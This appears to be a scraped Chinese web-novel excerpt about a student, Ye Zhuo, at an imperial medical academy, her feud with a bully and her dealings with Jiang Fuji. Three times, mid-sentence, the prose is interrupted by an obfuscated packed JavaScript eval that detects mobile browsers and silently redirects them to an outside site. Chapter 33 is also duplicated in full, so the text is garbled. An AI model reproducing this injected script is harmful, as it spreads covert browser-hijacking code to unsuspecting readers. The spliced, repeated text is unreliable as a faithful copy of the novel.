“你指哪方面的?”卫知瑶眼角仍挂着泪。 “性情吧?”叶灼点着下巴道,“好像变得更诚实了。” “有么?”她不假思索地道,“可能是和你待在一起的缘故?正所谓‘近朱者赤,近墨者黑’嘛。” 叶灼轻撞她肩膀,有点儿难为情地道:“瞧瞧,你又在调侃我了!” “我是认真的。灼妹妹,你今晚是怎么了,突然问这么多稀奇古怪的问题。” “可能……最近赶课业进度,压力大了点?” 卫知瑶点了点她额头,“早些睡。你知道刻苦是好,本末倒置却不可。明早壬殿有集会,四博士都在,届时壬殿关闭,路过亦不得喧哗。你记得早些出发去课室,别再睡迟了。” “知道了瑶姐姐。”叶灼心中一暖。 想起沈博士罚的书还没抄,忙不迭翻出纸笔。光抄书未免太无聊了,“我抄完剩下的就睡,要不你给我说点别的吧!” 卫知瑶点点头。先前来看望她,大多数时候在打盹,最近确实勤快许多。 “想听什么?” “都行。”想了想又补充道,“说说关于你的事吧。” 卫知瑶除了箭术,最擅长无非谈天论地说八卦,话匣子一打开,总好像无底洞似的。 “前几日我回夕山的时候,经过林子深处,迎面飞来一个武功高强的蒙面刺客。那刺客来无影去无踪,一个烟球拦下我的马车。我见情况不妙,抄起弓箭就要和他打架……” 叶灼听得入了神,天降武林大侠?瑶姐姐倒是很有当说书人的天赋。 她说得声情并茂,情到浓时还不忘比划,“……那厮的眼睛像蛇眼一样绿,直冒寒光,我和他大战三百回合,你猜怎么着?最后我打赢了,他哭着跪地求饶。我以为他要洗心革面重做人,结果居然是为了讨口吃的!” 正说在兴头上,回头望去,叶灼已然倒下呼呼大睡,不省人事了。 纸和书本七零八落被她压在手臂下,字迹横七竖八,飘逸得要起飞。 结尾断续,显然没有抄完。 “《弟子职》……”卫知瑶拾起一本,看了看内容,又看了眼叶灼,颇有些无奈。 瞧她睡得这么熟,这些规矩抄来没多大用处,不如帮她解决好了。 一夜好眠。 叶灼半梦半醒睁开眼,舒舒服服伸了个懒腰。近来有段时间没听到猫叫声,睡眠质量着实好上不少。 “糟糕!” 忽见满桌书卷摆于面前,她拍桌跳起:“书还没抄完!” 联想到上回因此被罚站,头脑霎时清醒。这下惨了,沈博士上课要收,叫她怎么交差啊! 她手忙脚乱翻到昨晚抄的部分,视线定格于末行。 咦,书怎么自己抄完了? 数了数,完完整整五十页《弟子职》,连边角都工整地叠好对齐,一字不差。 昨夜分明不小心睡着了啊。难道……是瑶姐姐? 叶灼抱紧那摞辛苦一夜的劳动成果,涕泪纵横。呜呜,瑶姐姐对她也太好了吧,叫她怎么回报才是? “今日是金曜日……坏了。”她一拍手掌,来不及感动,“第一堂就是沈博士的课!” 积水沿着屋脊滑下,尚未落地,“啪”一声迸裂成了碎珠。 连下几日雨,难得出一回太阳。 叶灼踩着水,大包小包奔去竹苑。平常,却充溢喜悦。 现在的生活,美好得简直不可思议。忙碌奔波不仅仅是为了活着,京城治安较好,不用扮男装就可以出门。上京、皇城、太医署,常常能见到师父,拥有她珍惜的、同样待她好的朋友…… 她徒手离开古川时想都不敢想,曾以为望尘莫及的人和事物,如今竟离她这样近,近到触手可及。 美好到,就像是一场梦。 若她真是梦中人,宁愿永远不复醒。 课钟响过一遍。 去竹苑要经过对面的壬殿,几道熟悉的身影步下殿前阶墀。 叶灼想起瑶姐姐的话:今晨壬殿有集会。 算起来会议刚刚结束。她脚步慢下来,躲在石柱后面偷看。心中暗暗期许,会不会见到师父呢? 领头的,身型胖一点、憨态可掬的那个是咒禁科简博士,她放课去找瑶姐姐时见过;身后跟着两个较瘦、胡须蓄得稍短一些的,则是针科姜博士、按摩科严博士。 他们谈笑着竞相离去。不一会儿,殿内跟出来位女子。 虽然戴着面纱,但凭那一席落梅点缀的胭脂粉裙,叶灼很快认出她。 “江小姐!”她挥手喊道。 江弗及捂紧了面纱,欲加快脚步。 叶灼吭哧吭哧到她身前:“这两日听学官说你称病告假,总找不到机会再见。上回我养的蛐蛐伤了你,真的很对不起!” “无妨。”简单二字,冰冷而疏离。 “沈博士已经教训过我了,虽然不知怎么才能让你原谅我,不知你意下如何也不好上门赔礼,我觉得还是欠你一个郑重道歉……这是我的一点心意,赔偿疗伤的损失应是够了。”叶灼说着,递上来什么东西。 一只小青蛙形状的荷包,抖一抖叮呤咣啷作响。白肚皮有些干瘪,内容物是她的全部家当。 又是蛐蛐儿又是青蛙,怎么尽是些稀奇古怪的玩意?江弗及连忙推却:“不必了!” 叶灼怔地缩回手,有些不知所措。 转念又想,闻名上京的贵女,定是不缺这点银子。怪自己考虑不周,江小姐那么爱漂亮,脸蛋有了瑕疵,肯定还在气头上。 可她浑身上下能用来赔礼的,除了银子,好像也没别的了啊! “要不然……”叶灼灵机一动,“你、你打我几下吧?师父从小教导我,人做错了事就要承担责任,绝不能得过且过。我不求原谅,能让你消消气也好。以后文史课我一定认真听讲,再也不惹事!” 江弗及脸上闪过一丝异样。 很快那抹异样又被笑容掩盖,“你叫叶灼对吧?”她覆上她的手。 叶灼点点头。 “你是叶少卿之徒?” 又点点头。 “上次的事,我已经不介意了。” “真的?”态度转变得突然,叶灼反而更不安了,“江小姐要是心中有不满,说出来便是。前段时间在太医署,我是惹了不少麻烦,不满我的人多了去了。有什么气尽管撒,我、我会改过的!” 江弗及莞尔一笑:“你我既是同门,我又算你的师长,与叶少卿交情匪浅,怎会将这样的事放在心上?再者说,你道了这么多次歉,我要是再不原谅,未免太说不过去了。” “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982795|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就好,不生气就好。”叶灼松了口气,注意到她的面纱。心头一紧,默默低下头去。 “江小姐,你的脸伤……怎么样了?” “不碍事,一点红印,其实早就好了。戴面纱是因着近来花粉季,我的皮肤较常人敏感,容易起红疹。” “原来如此。”看来她戴面纱不是自己害的,要不然真要内疚死了。 连片的芍药种于壬殿旁,金粉纷飞。正值荔月,花开时节,万物复苏。 路过时淡淡清香袭来,沁人心脾,对于花粉症患者而言,却是无形毒药。 叶灼道:“花粉症的话,若是症状严重,可用金银花与薄荷同煎,再取新鲜芦荟汁涂抹,也许比寻常药膏来得有效。” “这些我知道,”江弗及应道,“不过还是多谢你关心了。叶师妹,有件事,我倒是想问问你。” 叶灼拍拍胸脯:“江小姐尽管问,我定知无不言。” “叶少卿他……”她顿了顿,眸光微沉,“可有在你面前提起过我?” “有啊。”叶灼爽快道,“师父说你是针科助教,做事细心可靠,深得四博士器重。太医署谁人不知谁人不晓,江小姐你的医术好,人又大方得体,来日定是首席医官的最佳人选!” 叶灼虽人不在针科,不曾亲眼见识江弗及的针法,关于她的赞许却没少听过。 什么“上京第一才女”、“琴棋书画样样精通”、“可以靠脸吃饭偏偏要靠才学”……一个人夸便罢了,千百个人将她夸赞成神,绝非空穴来风。 而且江氏绝学名声在外,她早在古川时,尚有所耳闻。据称那绝学早已失传,江小姐是族中唯一传人,想来厉害得很。 “你这个小丫头,嘴倒是甜。”江弗及勾唇道。一双明眸水光潋滟,顾盼生辉。 这一笑,几乎把叶灼的魂也勾了去。 戴着面纱也难遮掩的美貌,在整个上京……啊不,整个大容,应属江小姐独有吧? “课钟都敲完第九声了,你不去上课么?” 叶灼缓过神来,猛一敲脑袋。这下真迟到了! “多谢江小姐提醒,下次再聊!” 江弗及点了点头。目送她跑远,笑意随之敛去。 …… 心里这块大石头终于放下,江小姐人这么好,今日应该也算因祸得福,交到了新朋友吧?以后定要与她好好相处才是。这般想着,叶灼弯下腰,悄悄溜进竹苑。 沈拓已然开始上课,看见后门小老鼠一样的她,不用拿叆叇便知是谁。 “叶灼!” 她一个激灵,脚下一滑。正好扶住桌腿,完美“摔”在空座位上。 呼,好险,差一点儿许昭昭那帮人又该有新理由笑话自己了。 “沈博士,早啊。”叶灼讪笑道。 “别总是用那种人畜无害楚楚可怜的眼神看着老夫、看着大家。”沈拓白她一眼,“不知道的,还以为老夫虐待你。” 若不是师父那一席话,换作往常,叶灼会觉得他在阴阳怪气。 “没有啊沈博士。”她无辜地眨眼,“我感谢您还来不及呢。” 沈拓气得咳嗽,当真以为她在回击自己。 “三日时限已到。五十遍《弟子职》,还不交上来?” “是,博士。” 众目睽睽之下,叶灼手捧厚厚一摞纸,慢吞吞走上讲坛。双手奉上后,蹑手蹑脚转身。 “站住。”沈拓一页页翻着,陡然道,“老夫还没叫你走呢。” 叶灼脚步一顿,顿感危机。 “你这罚抄,前后字迹怎的还不一样?” “有、有么?哈哈哈……”她笑容僵住。 33.蜕变(三) 叶灼挡在她身前,“连名字都不在榜上的人,只怕沈博士还不敢收吧?有时间在这里大言不惭,不如先回去精进一下医术,治治你那厚脸皮的病。” “他沈拓算什么东西?”许昭昭双手抱胸,昂起下巴,“只要舍一点银子,老子想去哪儿就去哪儿,让他叫我一声爹都容易!” 在场学子闻言皆惊。 这货什么德行他们心知肚明,可是以前再豪横,对沈博士好歹有几分敬畏,断不敢说这么无礼的话。是真打算破罐子破摔了么? “许……许老大!”胡广扭扭捏捏地道,“这话,还是不要放在明面上说为好。” “干你屁事!”他狂道。 “许昭昭,有胆就把你刚刚说的放到沈博士面前再说一遍,看他削不削你。” 许昭昭白她一眼,“我为什么要听你的?你让我说我就说?” “不就是有几个臭钱么,有什么了不起的!”介铃再也听不下去,就要冲上去拼个你死我活。 叶灼伸出手臂,又将她截胡。 “也是,差点儿忘了,你是要回去替你爹守财的。许少爷这双手金贵,用来行医可就太糟蹋了。您的志向,寻常人更是理解不了。”末了拉过她,“介师姐,我们走。” “别拦我!”介铃恨得牙痒痒,“这厮屡教不改,就得让他吃点苦头,才明白什么叫做人间险恶!” 她将拳头乱挥一通,许昭昭涎皮涎脸,晃来晃去:“唷唷唷,打不到我呢?我好怕怕啊。” 介铃更怒了:“放开我!今日非把他大卸八块不可!” “师姐难道忘了?”叶灼拖住她,小声道:“介大人如今还在翰林院任职,职权升调有京兆尹相参,不能被他们钻了空子。” 挥拳的手僵在半空。静默片刻,缓慢垂落。 这番话确是提醒了她。兴许是讶于出自叶灼之口,介铃皱着眉,脸上写满了五味杂陈。 “许少爷圣质如初,我等高攀不起,告辞。”叶灼面带微笑,浅作一揖。 ——只不过左手包右手,是个凶拜。许昭昭沉浸于得意之中,显然没有注意。 “这还差不多!”许昭昭抹了抹鼻子,“对了,她最后那句话什么意思?圣什么初?” 胡广反应了一会儿,才道:“老大,她好像在骂你。” 一拳凿在脸上。“他奶奶的!” 胡广委屈巴巴捂着脸:“老大,你打我做什么?” “姓叶的,别以为有叶少卿撑腰,老子就会怕你!”趁二人还没有走远,许昭昭将嗓门抬高。 “谁不知道,当初你死皮赖脸来找他,不就是因为他成了太常寺少卿?” 叶灼脚步一顿,沉声道:“说谁死皮赖脸?” 看来这招奏效。许昭昭嘴角勾起,“说的就是你!人家在上京待得好好的,本来没有你,早就升官发财进礼部,等着晚年享清福。都是你,是你坏他仕途!贪上你这么个闯祸精,难怪你师父不要你!” “我师父才没有不要我!”叶灼气冲冲上前。 “他若真拿你当作徒弟,怎么丢下你三年,由着你自生自灭啊?” “我师父来上京自有他的苦衷,由不得你一个外人评判!” “什么苦衷?我呸,骗骗你这小儿而已!”许昭昭凶狠道,“告诉你吧,叶少卿早就许了江小姐为徒。江小姐医术精湛,又是江国舅之女,她才是叶少卿名正言顺的徒弟!而你,你不过就是他的弃徒而已!” 没等他把话说完,衣领被揪起。一阵风呼过,拳头已然到了面前。 将落未落之际,叶灼动作刹住。 “动手啊!怎么,怕了?”许昭昭强掩惧色。 “……”不行,不能再给师父添麻烦。 她咬了咬牙,终还是道:“姑奶奶今天没心情陪你玩。趁我还没变卦,你走吧。” “哎哟,叶灼,以前不是能耐得很么,怎么突然想通了?”许昭昭倏地靠近,“是不是,担心连累你师父啊?” 叶灼抬眸,眼底闪过一丝狠戾:“你走不走?” “老子偏不!” 一拳就要落下,他来不及躲闪,拼命护住脸。 这时候一道身影不知从哪儿窜出,抗下拳头,朝她使了个眼色。 “小铃儿、叶师妹,近来可好啊?”声音清澈透亮,像是山风拂面。 “江枫!”介铃惊喜道,“你怎的来了?” 叶灼力道松懈,搭手行礼:“师兄好。”亏得有他提醒,不然刚才又要冲动了。 “看来成长不少嘛。”江枫粲然一笑,一口贝齿洁白整齐,“我来保护我的糖葫芦啊。” 介铃垂下眸,不知该失落还是喜悦。本能地用膝盖顶他的膝窝:“缺心眼!” 江枫痛得单脚跳,“怎么帮你还要对我拳打脚踢啊?呜呜。” “江师兄,原来你刚才一直在这儿啊。”叶灼道,“躲起来看戏,还看了这么久,介师姐当然要生气了。” “我想着你们可能不需要我嘛。”江枫敛了敛眸,转过身。 “既然如此,那就更马虎不得了。” 也不知是不是错觉,刚才那一瞬,他的脸突然间乌云密布。本来人畜无害的笑容,在阴霾笼罩之下,倒有点儿阴恻恻的。 “是谁惹我们小铃儿生气呀?” 旁边众人皆不吱声,往后退了一步。胡广慢吞吞挪着脚步,被许昭昭瞪了一眼,吓得呆若木鸡。 江枫笑了笑,微微动了动下巴:“快向她道个歉吧。” “你、你这个野种,早就和你爹断了关系,老子凭什么听你的!”昂首挺胸,声音却露了怯意。 所有人汗毛直竖,空气中传来咽口水的声音。叶灼尚不明所以,江师兄语气那么温和,用词也友善,怎么大家看起来很害怕的样子? 介铃附耳道:“江枫素来很不记仇,也懒得记仇。一旦被他追究上,报复方式却是五花八门。就连亲爹也难逃魔爪。上回国舅逼他回家,江枫拗不过,就放个马蜂窝在家门口,把一家子蛰得那叫一个惨。尤其江国舅,整整十天半个月没出门!” 叶灼打了个寒噤,“这么可怕?” 完全没法和那个整日挨打的怂包江师兄联系在一起啊……现在一看,原来只是对着介师姐犯怂而已。 “故书院有传言,‘江枫一笑,生死难料’。这家伙为了吃喝玩乐,什么事都能做得出来。”介铃不禁暗笑,“所以以前我经常拿吃的威胁他啦。” “许昭昭。”江枫收敛了笑意,放起狠话,“你要是害得我失去一月份的糖葫芦,我就把你做成糖葫芦。” “坏了!”介铃拍拳道,“连他名字都记住了,这下惨咯。” 许昭昭“扑通”一声跪下,哆哆嗦嗦。他可不要变成人棍啊! “让你道歉,不是对我下跪。” “是,道歉、道歉!”他扯上介铃的裙摆,“介师姐,您大人不记小人过,饶我这一回吧!” 介铃一脸嫌恶:“拿开你的臭手!” 江枫双手抱臂,往旁边瞥了瞥:“还不快滚。” “是是是,这就滚,这就滚……”遂拉上几名跟班,几人推推搡搡仓惶逃离,像球一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16028535|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滚蛋了。 介铃朝他做了个鬼脸:“真以为自己是山霸王,其实根本是个王八!” 叶灼学她的样子咧嘴吐舌头。看到对方滑稽的样子,两人相视而笑。 “真是一物降一物啊。”介铃伸出手,“今日多谢你了,江师兄。” 江枫握了上去,“难得啊,小铃儿居然唤我一声师兄。是不是该包我下个月的糖葫芦?” “咳咳。”掌心一阵温热,介铃赶忙抽离,扳正脸色。“言归正传,这个点你应该在流芳阁处理公事吧。怎么会出现在这里?” “我说过了,是为了糖……” 介铃:“说实话。” “好嘛。”他道,“今日江弗及不在,这堂文史课由我代授。” 叶灼“啊”了一声,“江师兄的课?” “怎么样小师妹,惊不惊喜,意不意外?” “还……还好吧。”叶灼应道,干巴巴笑两声。 想了又想,江师兄这么的……风流不羁的性子,和沈博士那帮老古董完全不一样,实在难以想象他为人师的样子啊。 “喂喂,人不可貌相。师兄我呢,原本是在另两科做文史助教,这是我第一次给针科学子授课,平时想听还听不到呢。今日卖师兄个面子,你可不许瞌睡啊!” 叶灼随意点了下头,还是狐疑。 “别看他平时吊儿郎当那样。”介铃凑到她耳边,“其实讲起课来,还挺像那么回事的。” 江枫叉着胸口:“小铃儿,你又在小师妹面前说我什么坏话?” “是在夸你啦。”叶灼道。 “真的?” 介铃打掉他的手,“假的!” 三人有说有笑,行往课室方向。 墙根背后,许昭昭缩回脑袋,揉了揉发酸的脖子。 “哎哟!”迎面脑门撞脑门。他来了记左勾拳,“不长眼啊!” 胡广惨兮兮捂住头,“老大你怎么又打我……” 掠过四五个脑袋,江弗及压紧面纱,蓦地转身。 许昭昭走上去点头哈腰:“江小姐,你也看见了。这个叶灼如此刁蛮无礼,怎么配当叶少卿的徒弟?如今来了太医署,不光叶少卿,人人都上赶护着她。此次春试又名列前茅,此时不除,他日必成后患。” “叶少卿为官清廉,太医署选拔人才也是秉公擢取,岂容你非议?”江弗及冷道,“以后,这种无聊的事不要找我。” 许昭昭也不嫌自讨没趣,接着言语。 “清廉那是对别人。膝下长大的小徒弟,怎么保证他不会有偏袒之意?” 江弗及顿了一顿。并没有回头,继续往外走去。 这瞬间的犹豫,足矣。许昭昭加大音量:“江小姐,虽然我信您医术超群,她叶灼来了也非您的对手,可有道是防人之心不可无啊。您有非做不可的事对吧?” “你想说什么?” 他狗皮膏药似地跟在后面,“您如此执着于夺首席医官之位,不就是因为金针具么?想用它了却江老的遗愿,如此重要的事,不得把绊脚石扫个干净?” 江弗及脚步停下,终于,对他正脸而视。 “这件事,你怎会知道?” “您先别管我是怎么知道的,这个叶灼是圣上亲自引荐进来,由沈拓那老家伙带入门中。且不论她的背景,为她破的规矩,可谓是一件又一件。而且据我所知,有学子放课留下,竟然发现竹苑每隔几日都有人在……您猜怎么着?” 江弗及稍微探身,示意他说下去。 “是叶少卿,常与那劣徒私相授受!” 33.蜕变(三) 叶灼挡在她身前,“连名字都不在榜上的人,只怕沈博士还不敢收吧?有时间在这里大言不惭,不如先回去精进一下医术,治治你那厚脸皮的病。” “他沈拓算什么东西?”许昭昭双手抱胸,昂起下巴,“只要舍一点银子,老子想去哪儿就去哪儿,让他叫我一声爹都容易!” 在场学子闻言皆惊。 这货什么德行他们心知肚明,可是以前再豪横,对沈博士好歹有几分敬畏,断不敢说这么无礼的话。是真打算破罐子破摔了么? “许……许老大!”胡广扭扭捏捏地道,“这话,还是不要放在明面上说为好。” “干你屁事!”他狂道。 “许昭昭,有胆就把你刚刚说的放到沈博士面前再说一遍,看他削不削你。” 许昭昭白她一眼,“我为什么要听你的?你让我说我就说?” “不就是有几个臭钱么,有什么了不起的!”介铃再也听不下去,就要冲上去拼个你死我活。 叶灼伸出手臂,又将她截胡。 “也是,差点儿忘了,你是要回去替你爹守财的。许少爷这双手金贵,用来行医可就太糟蹋了。您的志向,寻常人更是理解不了。”末了拉过她,“介师姐,我们走。” “别拦我!”介铃恨得牙痒痒,“这厮屡教不改,就得让他吃点苦头,才明白什么叫做人间险恶!” 她将拳头乱挥一通,许昭昭涎皮涎脸,晃来晃去:“唷唷唷,打不到我呢?我好怕怕啊。” 介铃更怒了:“放开我!今日非把他大卸八块不可!” “师姐难道忘了?”叶灼拖住她,小声道:“介大人如今还在翰林院任职,职权升调有京兆尹相参,不能被他们钻了空子。” 挥拳的手僵在半空。静默片刻,缓慢垂落。 这番话确是提醒了她。兴许是讶于出自叶灼之口,介铃皱着眉,脸上写满了五味杂陈。 “许少爷圣质如初,我等高攀不起,告辞。”叶灼面带微笑,浅作一揖。 ——只不过左手包右手,是个凶拜。许昭昭沉浸于得意之中,显然没有注意。 “这还差不多!”许昭昭抹了抹鼻子,“对了,她最后那句话什么意思?圣什么初?” 胡广反应了一会儿,才道:“老大,她好像在骂你。” 一拳凿在脸上。“他奶奶的!” 胡广委屈巴巴捂着脸:“老大,你打我做什么?” “姓叶的,别以为有叶少卿撑腰,老子就会怕你!”趁二人还没有走远,许昭昭将嗓门抬高。 “谁不知道,当初你死皮赖脸来找他,不就是因为他成了太常寺少卿?” 叶灼脚步一顿,沉声道:“说谁死皮赖脸?” 看来这招奏效。许昭昭嘴角勾起,“说的就是你!人家在上京待得好好的,本来没有你,早就升官发财进礼部,等着晚年享清福。都是你,是你坏他仕途!贪上你这么个闯祸精,难怪你师父不要你!” “我师父才没有不要我!”叶灼气冲冲上前。 “他若真拿你当作徒弟,怎么丢下你三年,由着你自生自灭啊?” “我师父来上京自有他的苦衷,由不得你一个外人评判!” “什么苦衷?我呸,骗骗你这小儿而已!”许昭昭凶狠道,“告诉你吧,叶少卿早就许了江小姐为徒。江小姐医术精湛,又是江国舅之女,她才是叶少卿名正言顺的徒弟!而你,你不过就是他的弃徒而已!” 没等他把话说完,衣领被揪起。一阵风呼过,拳头已然到了面前。 将落未落之际,叶灼动作刹住。 “动手啊!怎么,怕了?”许昭昭强掩惧色。 “……”不行,不能再给师父添麻烦。 她咬了咬牙,终还是道:“姑奶奶今天没心情陪你玩。趁我还没变卦,你走吧。” “哎哟,叶灼,以前不是能耐得很么,怎么突然想通了?”许昭昭倏地靠近,“是不是,担心连累你师父啊?” 叶灼抬眸,眼底闪过一丝狠戾:“你走不走?” “老子偏不!” 一拳就要落下,他来不及躲闪,拼命护住脸。 这时候一道身影不知从哪儿窜出,抗下拳头,朝她使了个眼色。 “小铃儿、叶师妹,近来可好啊?”声音清澈透亮,像是山风拂面。 “江枫!”介铃惊喜道,“你怎的来了?” 叶灼力道松懈,搭手行礼:“师兄好。”亏得有他提醒,不然刚才又要冲动了。 “看来成长不少嘛。”江枫粲然一笑,一口贝齿洁白整齐,“我来保护我的糖葫芦啊。” 介铃垂下眸,不知该失落还是喜悦。本能地用膝盖顶他的膝窝:“缺心眼!” 江枫痛得单脚跳,“怎么帮你还要对我拳打脚踢啊?呜呜。” “江师兄,原来你刚才一直在这儿啊。”叶灼道,“躲起来看戏,还看了这么久,介师姐当然要生气了。” “我想着你们可能不需要我嘛。”江枫敛了敛眸,转过身。 “既然如此,那就更马虎不得了。” 也不知是不是错觉,刚才那一瞬,他的脸突然间乌云密布。本来人畜无害的笑容,在阴霾笼罩之下,倒有点儿阴恻恻的。 “是谁惹我们小铃儿生气呀?” 旁边众人皆不吱声,往后退了一步。胡广慢吞吞挪着脚步,被许昭昭瞪了一眼,吓得呆若木鸡。 江枫笑了笑,微微动了动下巴:“快向她道个歉吧。” “你、你这个野种,早就和你爹断了关系,老子凭什么听你的!”昂首挺胸,声音却露了怯意。 所有人汗毛直竖,空气中传来咽口水的声音。叶灼尚不明所以,江师兄语气那么温和,用词也友善,怎么大家看起来很害怕的样子? 介铃附耳道:“江枫素来很不记仇,也懒得记仇。一旦被他追究上,报复方式却是五花八门。就连亲爹也难逃魔爪。上回国舅逼他回家,江枫拗不过,就放个马蜂窝在家门口,把一家子蛰得那叫一个惨。尤其江国舅,整整十天半个月没出门!” 叶灼打了个寒噤,“这么可怕?” 完全没法和那个整日挨打的怂包江师兄联系在一起啊……现在一看,原来只是对着介师姐犯怂而已。 “故书院有传言,‘江枫一笑,生死难料’。这家伙为了吃喝玩乐,什么事都能做得出来。”介铃不禁暗笑,“所以以前我经常拿吃的威胁他啦。” “许昭昭。”江枫收敛了笑意,放起狠话,“你要是害得我失去一月份的糖葫芦,我就把你做成糖葫芦。” “坏了!”介铃拍拳道,“连他名字都记住了,这下惨咯。” 许昭昭“扑通”一声跪下,哆哆嗦嗦。他可不要变成人棍啊! “让你道歉,不是对我下跪。” “是,道歉、道歉!”他扯上介铃的裙摆,“介师姐,您大人不记小人过,饶我这一回吧!” 介铃一脸嫌恶:“拿开你的臭手!” 江枫双手抱臂,往旁边瞥了瞥:“还不快滚。” “是是是,这就滚,这就滚……”遂拉上几名跟班,几人推推搡搡仓惶逃离,像球一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16028535|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滚蛋了。 介铃朝他做了个鬼脸:“真以为自己是山霸王,其实根本是个王八!” 叶灼学她的样子咧嘴吐舌头。看到对方滑稽的样子,两人相视而笑。 “真是一物降一物啊。”介铃伸出手,“今日多谢你了,江师兄。” 江枫握了上去,“难得啊,小铃儿居然唤我一声师兄。是不是该包我下个月的糖葫芦?” “咳咳。”掌心一阵温热,介铃赶忙抽离,扳正脸色。“言归正传,这个点你应该在流芳阁处理公事吧。怎么会出现在这里?” “我说过了,是为了糖……” 介铃:“说实话。” “好嘛。”他道,“今日江弗及不在,这堂文史课由我代授。” 叶灼“啊”了一声,“江师兄的课?” “怎么样小师妹,惊不惊喜,意不意外?” “还……还好吧。”叶灼应道,干巴巴笑两声。 想了又想,江师兄这么的……风流不羁的性子,和沈博士那帮老古董完全不一样,实在难以想象他为人师的样子啊。 “喂喂,人不可貌相。师兄我呢,原本是在另两科做文史助教,这是我第一次给针科学子授课,平时想听还听不到呢。今日卖师兄个面子,你可不许瞌睡啊!” 叶灼随意点了下头,还是狐疑。 “别看他平时吊儿郎当那样。”介铃凑到她耳边,“其实讲起课来,还挺像那么回事的。” 江枫叉着胸口:“小铃儿,你又在小师妹面前说我什么坏话?” “是在夸你啦。”叶灼道。 “真的?” 介铃打掉他的手,“假的!” 三人有说有笑,行往课室方向。 墙根背后,许昭昭缩回脑袋,揉了揉发酸的脖子。 “哎哟!”迎面脑门撞脑门。他来了记左勾拳,“不长眼啊!” 胡广惨兮兮捂住头,“老大你怎么又打我……” 掠过四五个脑袋,江弗及压紧面纱,蓦地转身。 许昭昭走上去点头哈腰:“江小姐,你也看见了。这个叶灼如此刁蛮无礼,怎么配当叶少卿的徒弟?如今来了太医署,不光叶少卿,人人都上赶护着她。此次春试又名列前茅,此时不除,他日必成后患。” “叶少卿为官清廉,太医署选拔人才也是秉公擢取,岂容你非议?”江弗及冷道,“以后,这种无聊的事不要找我。” 许昭昭也不嫌自讨没趣,接着言语。 “清廉那是对别人。膝下长大的小徒弟,怎么保证他不会有偏袒之意?” 江弗及顿了一顿。并没有回头,继续往外走去。 这瞬间的犹豫,足矣。许昭昭加大音量:“江小姐,虽然我信您医术超群,她叶灼来了也非您的对手,可有道是防人之心不可无啊。您有非做不可的事对吧?” “你想说什么?” 他狗皮膏药似地跟在后面,“您如此执着于夺首席医官之位,不就是因为金针具么?想用它了却江老的遗愿,如此重要的事,不得把绊脚石扫个干净?” 江弗及脚步停下,终于,对他正脸而视。 “这件事,你怎会知道?” “您先别管我是怎么知道的,这个叶灼是圣上亲自引荐进来,由沈拓那老家伙带入门中。且不论她的背景,为她破的规矩,可谓是一件又一件。而且据我所知,有学子放课留下,竟然发现竹苑每隔几日都有人在……您猜怎么着?” 江弗及稍微探身,示意他说下去。 “是叶少卿,常与那劣徒私相授受!” 34.蜕变(四) “够了!”江弗及眸光冷厉,“许昭昭,你当我是什么人?” 许昭昭虎躯一震,笑容僵滞在脸上。 “恃强凌弱、逼走同门,假传鬼神之说以掩盖温重岳之死,你做的那些事,真以为我不知道么?之所以既往不咎,是看在令尊的情面,反正你不打算久留太医署,我也没有后顾之忧。但你不要企图越界,把算盘打到我的头上。我对你们做的腌臜事没有兴趣,要想得到什么,便凭实力去争,无需靠这种卑鄙手段。” 空气仿佛凝住了,静得能听见许昭昭喉头滚动的声音。 直至那刀子一样的目光离去,他才如释重负,往地上狠狠啐了口唾沫。 “他奶奶的!”原以为她会因此感到威胁,现在看来,却是自己被威胁了,“江弗及,你以为你有多干净,又有多大能耐?没有京兆尹府背后打掩护,凭你爹背后做的那些腌臜事,早够你死上个千百回了!” 几名跟班赶忙示意他噤声,胡广吓得连蒲扇都掉了。 许昭昭反应过来,旋即拍了拍他的脸:“你们什么也没听见,知道没?” 他们乖乖点头,确认下周遭没有旁人,跟着许昭昭撤退。 此时的癸殿,更有一场大祸将至。 文史课因为属公共必修课,两科学子聚集一堂,同在癸殿的大教室上。介铃和两人道过别,便回竹苑上课去了。 她平时总是忙里忙外,叶灼都忘了,介师姐原来和自己一样,还是门下学子。不似江师兄已经结业,整日看起来却悠闲。也不知他讲起课来是什么样子呢? 她随江枫来到大殿以后,随意找了个位置坐下。周围学子大都和她认识,几人有一句没一句聊了一会儿,课钟声响起,便各自归位。 这堂课讲到前朝覆灭之事。 江枫的课从不用课本,光是站在那儿,一张嘴便开始滔滔不绝。 “诸位可知,早在大容诞生以前,天下是何等一番荒凉景象?” 台下学子纷纷摇头。 “乱,那叫一个乱!”他将戒尺敲在板上,叶灼打了个激灵。 “想当年,西戎、漠北小国狼狈为奸,中原地界更是不太平。前朝国君穷奢极侈、昏庸无道,致使内忧外患。” 